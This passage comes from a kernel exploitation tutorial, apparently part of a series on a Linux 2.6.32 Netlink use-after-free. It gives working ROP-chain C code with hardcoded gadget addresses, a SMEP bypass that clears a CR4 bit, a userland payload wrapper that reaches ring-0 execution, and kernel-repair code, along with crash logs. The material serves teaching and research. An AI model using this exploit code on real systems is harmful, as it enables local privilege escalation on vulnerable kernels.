      // ... cut ...
    
      printf("[+] successfully migrated to CPU#0\n");
    
      if (allocate_uland_structs())
      {
        printf("[-] failed to allocate userland structures!\n");
        goto fail;
      }
    
      build_rop_chain((uint64_t*)g_fake_stack);
      printf("[+] ROP-chain ready\n");
    
      // ... cut ...
    }
    
[/code]

As you might have noticed in **build\_rop\_chain\(\)** , we setup an invalid
temporary ROP-chain just for debugging purpose. The first gadget address being
"0x00000000", it will provoke a **double fault**.

Let's launch the exploit:

[code]

    ...
    [+] userland structures allocated:
    [+] g_uland_wq_elt = 0x120001000
    [+] g_fake_stack   = 0x20001000
    [+] g_uland_wq_elt.func = 0xffffffff8107b6b8
    ...
    
[/code]

[code]

    [   79.094437] double fault: 0000 [#1] SMP 
    [   79.094738] CPU 0 
    ...
    [   79.097909] RIP: 0010:[<0000000000000000>]  [<(null)>] (null)
    [   79.097980] RSP: 0018:0000000020001008  EFLAGS: 00010012
    [   79.098024] RAX: 000000001c123e60 RBX: 0000000000602c08 RCX: 0000000000000000
    [   79.098074] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000120001000
    [   79.098124] RBP: ffff88001c123ea8 R08: 0000000000000000 R09: 00007fa46644f700
    [   79.098174] R10: 00007fffd73a4350 R11: 0000000000000206 R12: 0000000000000001
    [   79.098225] R13: ffff88001c999eb8 R14: 0000000000000000 R15: 0000000000000000
    ...
    [   79.098907] Stack:
    [   79.098954]  bbbbbbbbbbbbbbbb cccccccccccccccc dddddddddddddddd aaaaaaaaaaaaaaaa
    [   79.099209] <d> aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa
    [   79.100516] <d> aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa
    [   79.102583] Call Trace:
    [   79.103844] Code:  Bad RIP value.
    [   79.104686] RIP  [<(null)>] (null)
    [   79.105332]  RSP <0000000020001008>
    ...
    
[/code]

Perfect, just as expected\! **RSP** is pointing to the second gadget of our
ROP-chain in our _fake stack_. It double-faulted while trying to execute the
first one which points at address zero \(RIP=0\).

Remember, **ret** first "pops" the value into _rip_ and THEN executes it\!
That is why, RSP is pointing to the second gadget \(not the first one\).

We are now ready to write the real ROP-chain\!

**NOTE** : **Forcing a double-fault is a good way to debug a ROP-chain as it
will crash the kernel and dump both the registers and the stack**. This is the
"poor man" breakpoint :-\).

* * *
# Debugging the kernel with GDB

Debugging a kernel \(without SystemTap\) might be an intimidating thing to the
new comers. In the previous articles we already saw different ways to debug
the kernel:

  * SystemTap
  * netconsole

However, sometimes you want to debug more "low-level" stuff and go step-by-
step.

Just like any other binary \(Linux being an ELF\) **you can use GDB to debug
it**.

Most virtualization solutions setup a **gdb server** that you can connect to
debug a "guest" system. For instance, while running a 64-bit kernel, _vmware_
setup a _gdbserver_ on port "8864". If not, please read the manual.

Because of the chaotic/concurrent nature of a kernel, you might want to
**limit the number of CPU to one** while debugging.

Let's suppose we want to debug the arbitrary call primitive. One would be
tempted to setup a breakpoint just before the call \(i.e. "call
\[rax+0x10\]"\)... don't\! The reason is, a lot of kernel paths \(including
interrupts handler\) actually call this code. That is, **you will be breaking
all time without being in your own path**.

The trick is to set a breakpoint earlier \(callstack-wise\) on a "not so used"
path that is very specific to your bug/exploit. In our case, we will break in
_netlink\_setsockopt\(\)_ just before the call to _\_\_wake\_up\(\)_ \(located
at address 0xffffffff814b81c7\):

[code]

    $ gdb ./vmlinux-2.6.32 -ex "set architecture i386:x86-64" -ex "target remote:8864" -ex "b * 0xffffffff814b81c7" -ex "continue"
    
[/code]

Remember that our exploit reaches this code 3 times: two to unblock the thread
and one to reach the arbitrary call. That is, use **continue** until the 3rd
break then do a step-by-step debugging \(with "ni" and "si"\). In addition,
_\_\_wake\_up\(\)_ issues another _call_ before _\_\_wake\_up\_common\(\)_ ,
you might want to use **finish**.

From here, this is just a "normal" debugging session.

**WARNING** : Remember to **detach** before leaving _gdb_. Otherwise, it can
lead to "strange" issues that confuse your virtualization tool.

* * *
# The ROP-Chain

In the previous section, we analyzed the machine state \(i.e. registers\)
prior to using the arbitrary call primitive. We found a gadget that pivot the
stack with the _xchg_ instruction that uses 32-bit registers. Because of it,
the "new stack" and our userland wait queue element aliased. In order to deal
with it, we use a simple trick to avoid this aliasing and still pivoting to a
userland stack. This helps to relax the constraints on future gadgets, avoid
stack lifting, etc.

In this section, we will build a ROP-chain that:

  * Stores ESP and RBP in userland memory for future restoration
  * Disables SMEP by flipping the corresponding CR4 bit \(cf. Defeating SMEP Strategies\)
  * Jumps to the payload's wrapper

Note that the things done here are very similar to what is done in "userland"
ROP exploitation. In addition, this is **very target dependent**. You might
have better or worse gadgets. This is just the ROP-chain we built with gadgets
available in our target.

**WARNING** : It is very rare, but it can happen that the gadget you are
trying to use will not work during runtime for some reason \(e.g. trampoline,
kernel hooks, unmapped\). In order to prevent this, break before executing the
ROP-chain and check with gdb that your gadgets are as expected in memory.
Otherwise, simply choose another one.

**WARNING-2** : If your gadgets modify "non-scratch" registers \(as we do with
rbp/rsp\) you will need to repair them by the end of your ROP-chain.

## Unfortunate "CR4" gadgets

Disabling SMEP will not be the first "sub-chain" of our ROP chain \(we will
save _ESP_ beforehand\). However, because of the available gadgets that modify
_cr4_ , we will need additional gadgets to load/store _RBP_ :

[code]

    $ egrep "cr4" ranged_gadget.lst
    0xffffffff81003288 : add byte ptr [rax - 0x80], al ; out 0x6f, eax ; mov cr4, rdi ; leave ; ret
    0xffffffff81003007 : add byte ptr [rax], al ; mov rax, cr4 ; leave ; ret
    0xffffffff8100328a : and bh, 0x6f ; mov cr4, rdi ; leave ; ret
    0xffffffff81003289 : and dil, 0x6f ; mov cr4, rdi ; leave ; ret
    0xffffffff8100328d : mov cr4, rdi ; leave ; ret                       // <----- will use this
    0xffffffff81003009 : mov rax, cr4 ; leave ; ret                       // <----- will use this
    0xffffffff8100328b : out 0x6f, eax ; mov cr4, rdi ; leave ; ret
    0xffffffff8100328c : outsd dx, dword ptr [rsi] ; mov cr4, rdi ; leave ; ret
    
[/code]

As we can see, **all of those gadgets have a _leave_ instruction preceding the
_ret_**. It means that using them **will overwrite both _RSP_ and _RBP_**
which can break our ROP-chain. Because of this, we will need to save and
restore them.

## Save ESP/RBP

In order to save the value of ESP and RSP we will use four gadgets:

[code]

    0xffffffff8103b81d : pop rdi ; ret
    0xffffffff810621ff : shr rax, 0x10 ; ret
    0xffffffff811513b3 : mov dword ptr [rdi - 4], eax ; dec ecx ; ret
    0xffffffff813606d4 : mov rax, rbp ; dec ecx ; ret
    
[/code]

Since our gadget which writes at arbitrary memory location read value from
"eax" \(32-bits\), we use the _shr_ gadget to store the value of RBP in two
times \(low and high bits\). The ROP-chains are declared here:

[code]

    // gadgets in [_text; _etext]
    #define XCHG_EAX_ESP_ADDR         ((uint64_t) 0xffffffff8107b6b8)
    #define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3)
    #define POP_RDI_ADDR              ((uint64_t) 0xffffffff8103b81d)
    #define MOV_RAX_RBP_ADDR          ((uint64_t) 0xffffffff813606d4)
    #define SHR_RAX_16_ADDR           ((uint64_t) 0xffffffff810621ff)
    
    // ROP-chains
    #define STORE_EAX(addr) \
      *stack++ = POP_RDI_ADDR; \
      *stack++ = (uint64_t)addr + 4; \
      *stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR;
    
    #define SAVE_ESP(addr) \
      STORE_EAX(addr);
    
    #define SAVE_RBP(addr_lo, addr_hi) \
      *stack++ = MOV_RAX_RBP_ADDR;  \
      STORE_EAX(addr_lo); \
      *stack++ = SHR_RAX_16_ADDR; \
      *stack++ = SHR_RAX_16_ADDR; \
      STORE_EAX(addr_hi);
    
[/code]

Let's edit _build\_rop\_chain\(\)_ :

[code]

    static volatile uint64_t saved_esp;
    static volatile uint64_t saved_rbp_lo;
    static volatile uint64_t saved_rbp_hi;
    
    static void build_rop_chain(uint64_t *stack)
    {
      memset((void*)stack, 0xaa, 4096);
    
      SAVE_ESP(&saved_esp);
      SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
    
      *stack++ = 0; // force double-fault
    
      // FIXME: implement the ROP-chain
    }
    
[/code]

Before proceeding, you may want to **be sure that everything goes well up to
this point**. Use GDB as explained in the previous section\!

## Read/Write CR4 and dealing with "leave"

As mentioned before, all our gadgets that manipulate _CR4_ have a _leave_
instruction before the _ret_. Which does \(in this order\):

  1. RSP = RBP
  2. RBP = Pop\(\)

In this ROP-chain, we will use three gadgets:

[code]

    0xffffffff81003009 : mov rax, cr4 ; leave ; ret
    0xffffffff8100328d : mov cr4, rdi ; leave ; ret
    0xffffffff811b97bf : pop rbp ; ret
    
[/code]

Since _RSP_ is overwritten while executing the _leave_ instruction, we have to
make sure that it does not break the chain \(i.e. _RSP_ is still right\).

As _RSP_ is overwritten by _RBP_ , we will re-write _RBP_ prior executing
those gadgets:

[code]

    #define POP_RBP_ADDR              ((uint64_t) 0xffffffff811b97bf)
    #define MOV_RAX_CR4_LEAVE_ADDR    ((uint64_t) 0xffffffff81003009)
    #define MOV_CR4_RDI_LEAVE_ADDR    ((uint64_t) 0xffffffff8100328d)
    
    #define CR4_TO_RAX() \
      *stack++ = POP_RBP_ADDR; \
      *stack   = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \
      *stack++ = MOV_RAX_CR4_LEAVE_ADDR; \
      *stack++ = 0xdeadbeef;  // dummy RBP value!
    
    #define RDI_TO_CR4() \
      *stack++ = POP_RBP_ADDR; \
      *stack   = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \
      *stack++ = MOV_CR4_RDI_LEAVE_ADDR; \
      *stack++ = 0xdeadbeef;  // dummy RBP value!
    
[/code]

While executing _leave_ , _RSP_ is pointing to the "0xdeadbeef" line which
will be "poped" into _RBP_. That is, the next _ret_ instruction will be back
into our chain\!

## Clearing SMEP bit

As mentioned in the Meeting Supervisor Mode Execution Prevention section, SMEP
is enabled when the bit 20 of CR4 is set. That is, we can clear it with the
following operation:

[code]

    CR4 = CR4 & ~(1<<20)
    
[/code]

equivalent to:

[code]

    CR4 &= 0xffffffffffefffff
    
[/code]

In this chain we will use the following gadgets as well as the previous ROP-
chains:

[code]

    0xffffffff8130c249 : and rax, rdx ; ret
    0xffffffff813d538d : pop rdx ; ret
    0xffffffff814f118b : mov edi, eax ; dec ecx ; ret
    0xffffffff8139ca54 : mov edx, edi ; dec ecx ; ret
    
[/code]

**NOTE** : The highest 32-bits of CR4 are "reserved", hence zero. That's why
we can use 32-bits register gadgets.

That is, we disable SMEP with this chain:

[code]

    #define AND_RAX_RDX_ADDR          ((uint64_t) 0xffffffff8130c249)
    #define MOV_EDI_EAX_ADDR          ((uint64_t) 0xffffffff814f118b)
    #define MOV_EDX_EDI_ADDR          ((uint64_t) 0xffffffff8139ca54)
    
    #define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff
    
    #define DISABLE_SMEP() \
      CR4_TO_RAX(); \
      *stack++ = POP_RDI_ADDR; \
      *stack++ = SMEP_MASK; \
      *stack++ = MOV_EDX_EDI_ADDR; \
      *stack++ = AND_RAX_RDX_ADDR; \
      *stack++ = MOV_EDI_EAX_ADDR; \
      RDI_TO_CR4();
    
    static void build_rop_chain(uint64_t *stack)
    {
      memset((void*)stack, 0xaa, 4096);
    
      SAVE_ESP(&saved_esp);
      SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
      DISABLE_SMEP();
    
      *stack++ = 0; // force double-fault
    
      // FIXME: implement the ROP-chain
    }
    
[/code]

It is time to test it and check the value of CR4\!

[code]

    [  223.425209] double fault: 0000 [#1] SMP 
    [  223.425745] CPU 0 
    [  223.430785] RIP: 0010:[<ffffffff8155ad78>]  [<ffffffff8155ad78>] do_page_fault+0x8/0xa0
    [  223.430930] RSP: 0018:0000000020000ff8  EFLAGS: 00010002
    [  223.431000] RAX: 00000000000407f0 RBX: 0000000000000001 RCX: 000000008100bb8e
    [  223.431101] RDX: 00000000ffefffff RSI: 0000000000000010 RDI: 0000000020001028
    [  223.431181] RBP: 0000000020001018 R08: 0000000000000000 R09: 00007f4754a57700
    [  223.431279] R10: 00007ffdc1b6e590 R11: 0000000000000206 R12: 0000000000000001
    [  223.431379] R13: ffff88001c9c0ab8 R14: 0000000000000000 R15: 0000000000000000
    [  223.431460] FS:  00007f4755221700(0000) GS:ffff880003200000(0000) knlGS:0000000000000000
    [  223.431565] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [  223.431638] CR2: 0000000020000fe8 CR3: 000000001a5d8000 CR4: 00000000000407f0
                                                                              ^--- !!!!!
    
[/code]

**Ooh Yeah\! SMEP is now disabled\!** We can now jump to userland code :-\)\!

## Jumping to Payload's Wrapper

One might wonder why we do "jump to a wrapper" instead of calling userland
function directly. There are three reasons.

First, GCC automatically setup a "prologue" and an "epilogue" at the
beginning/end of the C function to save/restore "non-scratch" registers. We
are not aware of the _\_\_attribute\_\_\(\)_ macro allowing to change this
behavior. It also embedded a "leave" instruction before returning. Because of
this, the stack will be modified.

This is an issue because the stack is currently the userland one. However, if
we repair it in the payload, it will be the kernel stack again. That is, it
will push data on the userland stack and pop it on the kernel stack. It will
_mis-align_ the stack and will mostly lead to kernel crash.

Secondly, we want to **restore the stack pointer to the kernel thread stack**
prior calling the payload. In other words, the payload will run just like any
other kernel code \(stack-wise\). The only difference being that the code is
located in userland.

Since we have access to userland code now, we won't do it in the ROP chain but
with **inline assembly** instead. That is, when the final _ret_ instruction is
executed \(in the wrapper\), the kernel can continue "normal" execution after
the **curr- >func\(\)** arbitrary call primitive \(i.e. in
_\_\_wake\_up\_common\(\)_\).

Thirdly, we want some "abstraction" so the final payload is somehow "agnostic"
of the arbitrary call requirements. With our arbitrary call primitive, it is
required that the called function **return a non-null value to reach the
_break_ statement**. We will do this in the wrapper.

In order to do it, we use the following gadgets:

[code]

    0xffffffff81004abc : pop rcx ; ret
    0xffffffff8103357c : jmp rcx
    
[/code]

The jump ROP-chain becomes:

[code]

    #define POP_RCX_ADDR              ((uint64_t) 0xffffffff81004abc)
    #define JMP_RCX_ADDR              ((uint64_t) 0xffffffff8103357c)
    
    #define JUMP_TO(addr) \
      *stack++ = POP_RCX_ADDR; \
      *stack++ = (uint64_t) addr; \
      *stack++ = JMP_RCX_ADDR;
    
[/code]

Invoked with:

[code]

    static void build_rop_chain(uint64_t *stack)
    {
      memset((void*)stack, 0xaa, 4096);
    
      SAVE_ESP(&saved_esp);
      SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
      DISABLE_SMEP();
      JUMP_TO(&userland_entry);
    }
    
[/code]

And the "stub" for the wrapper is:

[code]

    extern void userland_entry(void); // make GCC happy
    
    static __attribute__((unused)) void wrapper(void) 
    {
      // avoid the prologue
      __asm__ volatile( "userland_entry:" :: );   // <----- jump here
    
      // FIXME: repair the stack
      // FIXME: call to "real" payload
    
      // avoid the epilogue and the "leave" instruction
      __asm__ volatile( "ret" :: );
    }
    
[/code]

Note that you need to declare _userland\_entry_ as _external_ , which actually
points to a label at the very top of the wrapper, otherwise GCC will complain.
In addition, we mark the _wrapper\(\)_ function with
_\_\_attribute\_\_\(\(unused\)\)_ to avoid some compilation warning.

## Restoring the Stack Pointers and Wrapper Finalization

Restoring the stack pointers is pretty straightforward as we saved them during
the ROP-chain. Note that we only saved the "32 lowest bits" of RSP.
Fortunately, we also stored "RBP". Except if the **stack frame** of
_\_\_wake\_up\_common\(\)_ is 4GB large, the "32 highest bits" of RSP will be
the same from RBP. That is we can restore both of them with:

[code]

    restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
    restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
    
[/code]

As mentioned in the previous section, the arbitrary call primitive also
required that we return a non-zero value. The wrapper becomes:

[code]

    static volatile uint64_t restored_rbp;
    static volatile uint64_t restored_rsp;
    
    static __attribute__((unused)) void wrapper(void) 
    {
      // avoid the prologue
      __asm__ volatile( "userland_entry:" :: );
    
      // reconstruct original rbp/rsp
      restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
      restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
    
      __asm__ volatile( "movq %0, %%rax\n"
                        "movq %%rax, %%rbp\n"
                        :: "m"(restored_rbp)  );
    
      __asm__ volatile( "movq %0, %%rax\n"  
                        "movq %%rax, %%rsp\n"
                        :: "m"(restored_rsp)  );
    
      // FIXME: call to "real" payload
    
      // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register)
      __asm__ volatile( "movq $5555, %%rax\n"
                        :: );
    
      // avoid the epilogue and the "leave" instruction
      __asm__ volatile( "ret" :: );
    }
    
[/code]

When the _ret_ instruction is executed, the kernel thread stack pointer as
well as _RBP_ are restored. In addition, _RAX_ holds a non-zero value. That
is, we will return from _curr- >func\(\)_ and **the kernel can continue its
"normal" execution**.

Edit the _main\(\)_ code to check if everything went well:

[code]

    int main(void)
    {
      // ... cut ...
    
      // trigger the arbitrary call primitive
      printf("[ ] invoking arbitray call primitive...\n");
      val = 3535; // need to be different than zero
      if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
      {
        perror("[-] setsockopt");
        goto fail;
      }
      printf("[+] arbitrary call succeed!\n");
    
      PRESS_KEY();
    
      // ... cut ...
    }
    
[/code]

If we run, we should have:

[code]

    ...
    [+] reallocation succeed! Have fun :-)
    [ ] invoking arbitray call primitive...
    [+] arbitrary call succeed!
    [ ] press key to continue...
    
    <<< KERNEL CRASH HERE >>>
    
[/code]

Perfect, **the kernel now crashes during exit** \(just like in part 2\)\! It
means the stack has been properly restored.

## Calling the Payload

In order to be done with the wrapper, let's call the payload. For debugging
purpose only, we will simply call _panic\(\)_ for now:

[code]

    // kernel function symbols
    #define PANIC_ADDR ((void*) 0xffffffff81553684)
    
    typedef void (*panic)(const char *fmt, ...);
    
    static void payload(void)
    {
      ((panic)(PANIC_ADDR))("HELLO FROM USERLAND");  // called from kernel land
    }
    
[/code]

Edit the _wrapper\(\)_ function:

[code]

    static __attribute__((unused)) void wrapper(void) 
    {
      // avoid the prologue
      __asm__ volatile( "userland_entry:" :: );
    
      // reconstruct original rbp/rsp
      restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
      restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
    
      __asm__ volatile( "movq %0, %%rax\n"
                        "movq %%rax, %%rbp\n"
                        :: "m"(restored_rbp)  );
    
      __asm__ volatile( "movq %0, %%rax\n"  
                        "movq %%rax, %%rsp\n"
                        :: "m"(restored_rsp)  );
    
      uint64_t ptr = (uint64_t) &payload;           // <----- HERE
      __asm__ volatile( "movq %0, %%rax\n"
                        "call *%%rax\n"
                        :: "m"(ptr) );
    
      // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register)
      __asm__ volatile( "movq $5555, %%rax\n"
                        :: );
    
      // avoid the epilogue and the "leave" instruction
      __asm__ volatile( "ret" :: );
    }
    
[/code]

Now, if we launch the exploit we get the following trace:

[code]

    [ 1394.774972] Kernel panic - not syncing: HELLO FROM USERLAND      // <-----
    [ 1394.775078] Pid: 2522, comm: exploit 
    [ 1394.775200] Call Trace:
    [ 1394.775342]  [<ffffffff8155372b>] ? panic+0xa7/0x179
    [ 1394.775465]  [<ffffffff81553684>] ? panic+0x0/0x179              // <-----
    [ 1394.775583]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90   // <-----
    [ 1394.775749]  [<ffffffff810665a8>] ? __wake_up+0x48/0x70
    [ 1394.775859]  [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
    [ 1394.776022]  [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
    [ 1394.776167]  [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
    
[/code]

Awesome\! Since we restored both the kernel stack pointer \(thread stack\) and
the stack frame pointer, **we get a "clean" call trace**. In addition, we see
the "HELLO FROM USERLAND" message, meaning that we definitely control the
kernel flow of execution. In other words, **we have arbitrary code execution
in Ring-0** and we can write our payload in C language \(no need to ROP
anymore\).

We are almost done with the exploit but two things remain:

  1. Repair the kernel \(mandatory\)
  2. Fun & Profit \(optional\)

* * *
# Repair the Kernel

 _"Yesterday you said tomorrow... So just DO IT\!"_

In the previous section, we successfully exploit our arbitrary call primitive
to gain a fully arbitrary code execution in ring-0 where we can write our
final payload in C. In this section, we will use it to repair the kernel.
**Note that this step is not optional as our exploit is still crashing the
kernel upon exit**.

As mentioned in part 3, we need to **fix all _dangling pointers_ introduced by
the exploit**. Fortunately, we already enumerated them in the previous part:

  * the **sk** pointer in the _struct socket_ associated to _unblock\_fd_ file descriptor
  * pointers in the _nl\_table_ hash list

## Fixing the _struct socket_

In the "Core Concept \#1" \(cf. part 1\), we introduced the relationship
between a file descriptor and its associated \("specialized"\) file:

<img src='img/Temp2_4918.png' width='866' height='597' />

What we need to fix here is the pointer between _struct socket_ and _struct
sock_ \(i.e. the **sk** field\).

Remember that we crashed during exit because of UAFs in
_netlink\_release\(\)_?

[code]

    static int netlink_release(struct socket *sock)
    {
        struct sock *sk = sock->sk;
        struct netlink_sock *nlk;
    
        if (!sk)
            return 0;                 // <----- hit this!
    
        netlink_remove(sk);
    
      // ... cut ...
    
[/code]

As we can see, if _sk_ is _NULL_ the whole code will be skipped. In other
words, repairing the broken _struct socket_ can be done with:

[code]

    current->files->fdt->fd[unblock_fd]->private_data->sk = NULL;
    
                                                       ^ struct socket
                                         ^ struct file
                          ^ struct file **
                    ^ struct files_struct
              ^ struct task_struct
    ^--- struct task_struct *
    
[/code]

**NOTE** : We use _unblock\_fd_ here as the other file descriptors have been
closed during the exploitation. This is the same fd used to invoke the
arbitrary call primitive.

That is, we need:

  1. the value of the _current_ pointer
  2. the offsets of all of the aforementioned structures

It is important to only reset this pointer and let the kernel do the "normal"
housekeeping \(decrement refcounter, release objects, etc.\). **It prevents
memory leaks\!**

For instance, we could only reset the fdt entry to NULL as we did with
SystemTap \(i.e. _current- >files->fdt->fdt\[unblock\_fd\] = NULL_\) but this
would introduce memory leaks on _file_ , _socket_ , _inode_ and potentially
other objects.

Alright, we saw in part 3 how to do kernel structure "mimicking". However,
those are the big boys \(especially _task\_struct_ and _file_\). That is, we
will be a bit lazier and only define the necessary fields while using
_hardcoded offsets_ :

[code]

    #define TASK_STRUCT_FILES_OFFSET (0x770) // [include/linux/sched.h]
    #define FILES_STRUCT_FDT_OFFSET (0x8) // [include/linux/fdtable.h]
    #define FDT_FD_OFFSET (0x8) // [include/linux/fdtable.h]
    #define FILE_STRUCT_PRIVATE_DATA_OFFSET (0xa8)
    #define SOCKET_SK_OFFSET (0x38)
    
    struct socket {
      char pad[SOCKET_SK_OFFSET];
      void *sk;
    };
    
    struct file {
      char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET];
      void *private_data;
    };
    
    struct fdtable {
      char pad[FDT_FD_OFFSET];
      struct file **fd;
    };
    
    struct files_struct {
      char pad[FILES_STRUCT_FDT_OFFSET];
      struct fdtable *fdt;
    };
    
    struct task_struct {
      char pad[TASK_STRUCT_FILES_OFFSET];
      struct files_struct *files;
    };
    
[/code]

**NOTE** : We already saw in part 3 how to extract offsets from disassembly.
Search a code dereferencing a particular field and note the offset used.

Before writing the repairing payload, we are missing one thing: the
**current** pointer value. If you read the "Core Concept \#4", you should know
that the kernel uses the _task_ field of the _thread\_info_ structure to
retrieve it.

In addition, we know that we can retrieve the _thread\_info_ by masking ANY
kernel thread stack pointer. We have the latter, as we saved and restored
_RSP_. That is, we will use the following macro:

[code]

    struct thread_info {
        struct task_struct  *task;
      char pad[0];
    };
    
    #define THREAD_SIZE (4096 << 2)
    
    #define get_thread_info(thread_stack_ptr) \
      ((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1)))
    
    #define get_current(thread_stack_ptr) \
      ((struct task_struct*) (get_thread_info(thread_stack_ptr)->task))
    
[/code]

In the end, the _payload\(\)_ function becomes:

[code]

    static void payload(void)
    {
      struct task_struct *current = get_current(restored_rsp);
      struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data;
      void *sk;
    
      sk = sock->sk; // keep it for later use
      sock->sk = NULL; // fix the 'sk' dangling pointer
    }
    
[/code]

It really looks like "normal" kernel code isn't it?

Now, let's launch the exploit:

[code]

    $ ./exploit
    ...
    [ ] invoking arbitrary call primitive...
    [+] arbitrary call succeed!
    [+] exploit complete!
    $                                           // <----- no crash!
    
[/code]

**Perfect, the kernel doesn't crash upon exit anymore\!** BUT, we are not done
yet\!

Now, try to run this command:

[code]

    $ cat /proc/net/netlink
    <<< KERNEL CRASH >>>
    
[/code]

[code]

    [ 1392.097743] BUG: unable to handle kernel NULL pointer dereference at 0000000000000438
    [ 1392.137715] IP: [<ffffffff814b70e8>] netlink_seq_next+0xe8/0x120
    [ 1392.148010] PGD 1cc62067 PUD 1b2df067 PMD 0 
    [ 1392.148240] Oops: 0000 [#1] SMP 
    ...
    [ 1393.022706]  [<ffffffff8155adae>] ? do_page_fault+0x3e/0xa0
    [ 1393.023509]  [<ffffffff81558055>] ? page_fault+0x25/0x30
    [ 1393.024298]  [<ffffffff814b70e8>] ? netlink_seq_next+0xe8/0x120        // <---- the culprit
    [ 1393.024914]  [<ffffffff811e8e7b>] ? seq_read+0x26b/0x410
    [ 1393.025574]  [<ffffffff812325ae>] ? proc_reg_read+0x7e/0xc0
    [ 1393.026268]  [<ffffffff811c0a65>] ? vfs_read+0xb5/0x1a0
    [ 1393.026920]  [<ffffffff811c1d86>] ? fget_light_pos+0x16/0x50
    [ 1393.027665]  [<ffffffff811c0e61>] ? sys_read+0x51/0xb0
    [ 1393.028446]  [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
    
[/code]

Doh :-\( A NULL pointer dereference... Yup, the kernel is still in an
_unstable_ state as **we didn't repair all dangling pointers**. In other
words, we do not crash when the exploit is complete, yet **a time bomb is
ticking**. Which leads us to the next section.

## Fixing the nl\_table hash list

Fixing this one is actually trickier than it looks because it uses hash list
that brings two issues:

  * The _hlist\_head_ type uses a single "first" pointer \(i.e. this is not circular\)
  * Elements are stored in various buckets and forcing "adjacency" can be tedious

In addition, the Netlink implementation uses a "dilution" mechanism during
insertion which mess things up. Let's see how we can repair it\!

**NOTE** : Netlink uses hash tables to quickly retrieve a _struct sock_ from a
_pid_ \(cf. _netlink\_lookup\(\)_\). We already saw one usage with
_netlink\_getsockbypid\(\)_ called by _netlink\_unicast\(\)_ \(cf. part 2\).

### Fixing a Corrupted List

In this section, we will see how to fix a corrupted doubly-linked list in
general. We assume at this point that we already have arbitrary code execution
\(hence arbitrary read/write\).

A normal list looks like this:

<img src='img/Temp2_4917.png' width='691' height='136' />

Now, suppose we free and then reallocate the middle element. Since we don't
know its original "next" and "prev" pointer, the list is corrupted. In
addition, the adjacent elements have dangling pointers:

<img src='img/Temp2_4911.png' width='691' height='242' />

With such list, it is not possible to do several operations \(like walking the
list\) as it will lead to bad dereferences \(and mostly a crash\).

From here, we can do various things. First we can try to fix the reallocated
element next/prev pointer, so the list just looks like the original one. Or,
we can try to put our reallocated element out of the list \(i.e. the adjacent
elements point to each other\):

<img src='img/Temp2_4904.png' width='691' height='338' />

Both choices imply that we know the addresses of the adjacent elements. Now,
let's suppose that we don't actually know these addresses \(even with
arbitrary read\). Are we screwed? Nope\!

The idea is to use "guard" elements before/after the reallocation element that
we _control_. As they still have a dangling pointer after reallocation,
**removing them from the list will actually "fix up" our reallocation element
without knowing any address** \(unroll the _list\_del\(\)_ code to convince
yourself\):

<img src='img/Temp2_4916.png' width='691' height='138' />

Of course, we can now use a classical _list\_del\(\)_ on the reallocated
element here to completely remove it from the list which is repaired now.

That is, the technique imposes two constraints:

  1. We setup one or two adjacent "guard" elements
  2. We can remove those guards from the list _at will_

As we will see in the next sections, having 1\) in our context is a bit tricky
\(because of hash function and the "dilute" mechanism\). In the exploit, we
will use a "hybrid" approach \(stay tune\).

### Lost in Space

If you haven't read the sections about Netlink data structures and the
associated algorithms in Core Concepts \#4, it might be the time to get back
to it.

Let's identify the dangling pointers in the _nl\_table_ hash list \(the ones
we need to repair\).

After the reallocation, the _next_ and _pprev_ fields of our "fake
_netlink\_sock_ " holds junk data. In addition the "original" previous and/or
next elements of the bucket list have dangling pointers.

**The strategy we will use to repair the corrupted hash list is to restore the
_next/pprev_ values of our reallocated element and then do a
_\_\_hlist\_del\(\)_ operation to fix the dangling pointers.**

However...

<img src='img/Temp2_4908.png' width='888' height='289' />

That's right, the elements succeeding our reallocation are "lost in space".
What does that even mean? **There is nothing pointing to it anymore**. The
"only link" that existed has been overwritten by the reallocation. And yet, we
need to repair its _pprev_ pointer\! All of this **because the hash list are
NOT circular.** That's tough...

Before going back to this issue, let's solve the "_pprev_ " pointer of our
fake _netlink\_sock_. This is not a big deal:

  1. Find the _NETLINK\_USERSOCK_ hash table with _nl\_table_ \(exported symbol\)
  2. Find the correct bucket by **replaying the hash function** using the **original** _pid_ \(i.e. not _MAGIC\_NL\_PID_\) and the _rnd_ value of the hash table
  3. **Walk the bucket list** until we find our reallocated element while saving the address of the previous element
  4. Fix the "pprev" value

Note that 3\) implies that we know the address of our reallocated element. We
actually do\! It is stored in the **sk** field in the _socket_ structure.
**Moreover, the _next_ pointer \(_hlist\_node_\) is the very first field of a
_netlink\_sock_**. In other words, its address is the same as _sk_. That's why
we save it before overwriting it with _NULL_ \(cf. Fixing the _struct
socket_\).

**WARNING** : 2\) implies that the hash table hasn't been diluted. We will see
how to minimize the risk.

One problem fixed\!

### We Need A Friend: Information Leak

